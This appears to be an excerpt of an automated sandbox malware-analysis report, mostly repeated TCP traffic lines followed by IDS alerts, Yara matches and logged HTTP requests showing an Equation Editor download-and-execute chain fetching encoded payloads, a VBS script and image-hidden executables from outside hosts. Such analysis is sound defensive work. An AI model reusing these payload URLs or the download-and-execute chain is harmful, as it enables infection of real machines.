Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 91.92.254.194:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 91.92.254.194:80

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.14:80 -> 192.168.2.22:49162
Source: Traffic Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 91.92.254.194:80 -> 192.168.2.22:49163
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 91.92.254.194:80 -> 192.168.2.22:49163
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.194:80 -> 192.168.2.22:49163
Source: Traffic Snort IDS: 2020424 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 198.46.178.144:80 -> 192.168.2.22:49164
Source: Traffic Snort IDS: 2020424 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 198.46.178.144:80 -> 192.168.2.22:49166
Source: Traffic Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 91.92.254.194:80 -> 192.168.2.22:49167
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 91.92.254.194:80 -> 192.168.2.22:49167
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 91.92.254.194:80 -> 192.168.2.22:49167
Source: Traffic Snort IDS: 2020424 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 198.46.178.144:80 -> 192.168.2.22:49169
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 91.92.254.14 80 Jump to behavior
Yara detected Generic Downloader
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.raw.unpack, type: UNPACKEDPE
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0539 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_034A0539
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /madamwebbbbbbbas6444.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /imge/new-image_v.jpg HTTP/1.1Host: 91.92.254.194Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /controlfirebase65.txt HTTP/1.1Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View IP Address: 198.46.178.144 198.46.178.144
Source: Joe Sandbox View IP Address: 91.92.254.14 91.92.254.14
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
Source: Joe Sandbox View ASN Name: THEZONEBG THEZONEBG
May check the online IP address of the machine
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe DNS query: name: ip-api.com
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /controlfiredatinloverforxlammfile.vbs HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.144Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Users_API/negrocock/file_omquennq.l51.txt HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.178.144
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.14
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: unknown TCP traffic detected without corresponding DNS query: 91.92.254.194
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_034A0539 URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_034A0539
